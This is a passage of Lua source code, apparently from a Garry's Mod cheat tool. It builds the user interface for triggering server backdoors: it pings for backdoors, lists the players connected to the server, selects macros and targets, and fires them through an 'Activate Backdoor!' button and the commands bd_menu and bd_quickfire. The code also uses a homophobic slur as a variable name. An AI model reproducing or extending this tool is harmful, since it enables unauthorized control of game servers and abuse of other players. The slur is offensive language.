10941 draw.RoundedBox(0, 0, 0, w, h, Color(139, 0, 0, 255))
10942 end
10943 end
10944 ------------------------------------------------------------------------
10945end
10946
10947local blur = Material("pp/blurscreen")
10948
10949local function DrawBlur(panel, amount)
10950 local x, y = panel:LocalToScreen(0, 0)
10951 local scrW, scrH = ScrW(), ScrH()
10952 surface.SetDrawColor(255, 255, 255)
10953 surface.SetMaterial(blur)
10954
10955 for i = 1, 3 do
10956 blur:SetFloat("$blur", (i / 3) * (amount or 6))
10957 blur:Recompute()
10958 render.UpdateScreenEffectTexture()
10959 surface.DrawTexturedRect(x * -1, y * -1, scrW, scrH)
10960 end
10961end
10962
10963CreateClientConVar("menu_r", "148", true, false)
10964CreateClientConVar("menu_g", "0", true, false)
10965CreateClientConVar("menu_b", "211", true, false)
10966
10967function BD.BackdoorMenu()
10968 BD.Backdoors = BD.PingBackDoors()
10969 local BDMenu = vgui.Create("DFrame")
10970 BDMenu:Center()
10971 BDMenu:SizeTo(500, 400, .3, 0, .3)
10972 exitmenu(BDMenu, 449, 1)
10973 BDMenu:SetTitle(" ")
10974 BDMenu:ShowCloseButton(false)
10975 BDMenu:SetVisible(true)
10976 BDMenu:MakePopup()
10977
10978 function BDMenu:Paint()
10979 DrawBlur(self, 5)
10980 draw.RoundedBox(4, 0, 0, 5000, 5000, Color(GetConVarNumber("menu_r"), GetConVarNumber("menu_g"), GetConVarNumber("menu_b"), 170))
10981 surface.SetDrawColor(Color(0, 0, 0, 255))
10982 surface.DrawOutlinedRect(0, 0, BDMenu:GetSize())
10983 ---------------------------------------------------------
10984 --draw.SimpleText( "Player's", "exitmenu", 320, 25 , Color( 255, 255, 255, 200 ), 0, 0 )
10985 ---------------------------------------------------------
10986 surface.DrawOutlinedRect(0, 25, BDMenu:GetSize())
10987 -------------------------------------------------
10988 surface.DrawOutlinedRect(0, 0, 449, 26)
10989 --surface.DrawOutlinedRect( -6, 25, BDMenu:GetSize() )
10990 --
10991 --surface.DrawOutlinedRect( 0, -6, BDMenu:GetSize() )
10992 ------------------------------------------------
10993 end
10994
10995 local it = 145
10996 local Plist = vgui.Create("DPanelList", BDMenu)
10997 Plist:SetPos(5, 30)
10998 Plist:SetSize(200, 315)
10999 Plist:SetPadding(5)
11000 Plist:SetSpacing(5)
11001 Plist:EnableHorizontal(false)
11002 Plist:EnableVerticalScrollbar(true)
11003 Plist:SetName("")
11004
11005 Plist.Paint = function(self, w, h)
11006 DrawBlur(self, 5)
11007 draw.RoundedBox(4, 0, 0, 5000, 5000, Color(GetConVarNumber("menu_r"), GetConVarNumber("menu_g"), GetConVarNumber("menu_b"), 170))
11008 surface.SetDrawColor(Color(0, 0, 0, 255))
11009 surface.DrawOutlinedRect(0, 0, BDMenu:GetSize())
11010 end
11011
11012 local Plist4 = vgui.Create("DPanelList", BDMenu)
11013 Plist4:SetPos(210, 30)
11014 Plist4:SetSize(285, 315)
11015 Plist4:SetPadding(5)
11016 Plist4:SetSpacing(5)
11017 Plist4:EnableHorizontal(false)
11018 Plist4:EnableVerticalScrollbar(true)
11019 Plist4:SetName("")
11020
11021 Plist4.Paint = function(self, w, h)
11022 surface.SetDrawColor(50, 50, 50, 255)
11023 surface.DrawOutlinedRect(0, 0, w, h)
11024 surface.SetDrawColor(0, 0, 0, 200)
11025 surface.DrawRect(0, 0, w, h)
11026 end
11027
11028 local faggot = vgui.Create("DButton", BDMenu)
11029 faggot:Dock(5)
11030 faggot:SetText("Activate Backdoor!")
11031 faggot:SetTextColor(Color(255, 255, 255, 255))
11032
11033 faggot.Paint = function(panel, w, h)
11034 draw.RoundedBox(0, 0, 0, 500, 500, Color(0, 0, 0, 120))
11035 surface.SetDrawColor(Color(0, 0, 0, 255))
11036 surface.DrawOutlinedRect(0, 0, faggot:GetSize())
11037 surface.DrawOutlinedRect(0, 25, faggot:GetSize())
11038 end
11039
11040 faggot.DoClick = function()
11041 if not BD.BDMacros[selectedbackdoor] or selectedbackdoor == "" then
11042 BD.ChatText("You haven't even selected a macro to use ya dingus!", Color(255, 155, 155))
11043
11044 return
11045 end
11046
11047 if BD.BDMacros[selectedbackdoor].Type == (1 or 3) then
11048 BD.FormatCodeGlobal()
11049 else
11050 BD.FormatCodeTargeted()
11051 end
11052
11053 surface.PlaySound("buttons/button18.wav")
11054 end
11055
11056 local moonman = vgui.Create("DTextEntry", BDMenu)
11057 moonman:Dock(5)
11058 moonman:DockMargin(0, 0, 0, 5)
11059 moonman:SetText(backdoorargs)
11060
11061 moonman.OnChange = function(self)
11062 backdoorargs = self:GetValue()
11063 end
11064
11065 -- surface.PlaySound("buttons/button3.wav")
11066 -- players list
11067 for k, v in pairs(player.GetAll()) do
11068 local plypanel2 = vgui.Create("DPanel")
11069 plypanel2:SetPos(0, 0)
11070 plypanel2:SetSize(200, 25)
11071
11072 -- Paint function
11073 plypanel2.Paint = function()
11074 draw.RoundedBoxEx(8, 1, 1, plypanel2:GetWide(), plypanel2:GetTall(), Color(0, 0, 0, 150), false, false, false, false)
11075
11076 if table.HasValue(selectedplayers, v) then
11077 surface.SetDrawColor(Color(50, 255, 90, 255))
11078 else
11079 surface.SetDrawColor(Color(50, 50, 90, 255))
11080 end
11081
11082 surface.DrawOutlinedRect(1, 1, plypanel2:GetWide() - 1, plypanel2:GetTall() - 1)
11083 end
11084
11085 local plyname = vgui.Create("DLabel", plypanel2)
11086 plyname:SetPos(10, 5)
11087 plyname:SetFont("Trebuchet18")
11088 local tcol = Color(255, 255, 255)
11089
11090 if v == LocalPlayer() then
11091 tcol = Color(155, 155, 255)
11092 end
11093
11094 -- elseif BD.IsFriend( v ) then tcol = Color( 0, 255, 0 )
11095 -- elseif BD.GetRank(v) != ( "user" or "guest" or "player" ) then tcol = Color( 255, 100, 0 ) end
11096 plyname:SetColor(tcol)
11097 plyname:SetText(v:Nick())
11098 plyname:SetSize(180, 15)
11099 local faggot = vgui.Create("DButton", plypanel2)
11100 faggot:SetSize(plypanel2:GetWide(), plypanel2:GetTall())
11101 faggot:SetPos(0, 0)
11102 faggot:SetText("")
11103 faggot.Paint = function(panel, w, h) return end
11104
11105 faggot.DoClick = function()
11106 if table.HasValue(selectedplayers, v) then
11107 table.RemoveByValue(selectedplayers, v)
11108 else
11109 table.insert(selectedplayers, v)
11110 end
11111 end
11112
11113 Plist4:AddItem(plypanel2)
11114 end
11115
11116 BD.GenerateBackdoorList(Plist, 1)
11117 BD.GenerateBackdoorList(Plist, 2)
11118 BD.GenerateBackdoorList(Plist, 3)
11119end
11120
11121concommand.Add("bd_menu", BD.BackdoorMenu)
11122
11123function BD.QuickFireBackdoor()
11124 if not BD.BDMacros[selectedbackdoor] or selectedbackdoor == "" then
11125 BD.ChatText("You haven't even selected a macro to use ya dingus!", Color(255, 155, 155))
11126
11127 return
11128 end
11129
11130 if BD.BDMacros[selectedbackdoor].Type == (1 or 3) then
11131 BD.FormatCodeGlobal()
11132 else
11133 BD.FormatCodeTargeted()
11134 end
11135end
11136
11137concommand.Add("bd_quickfire", BD.QuickFireBackdoor)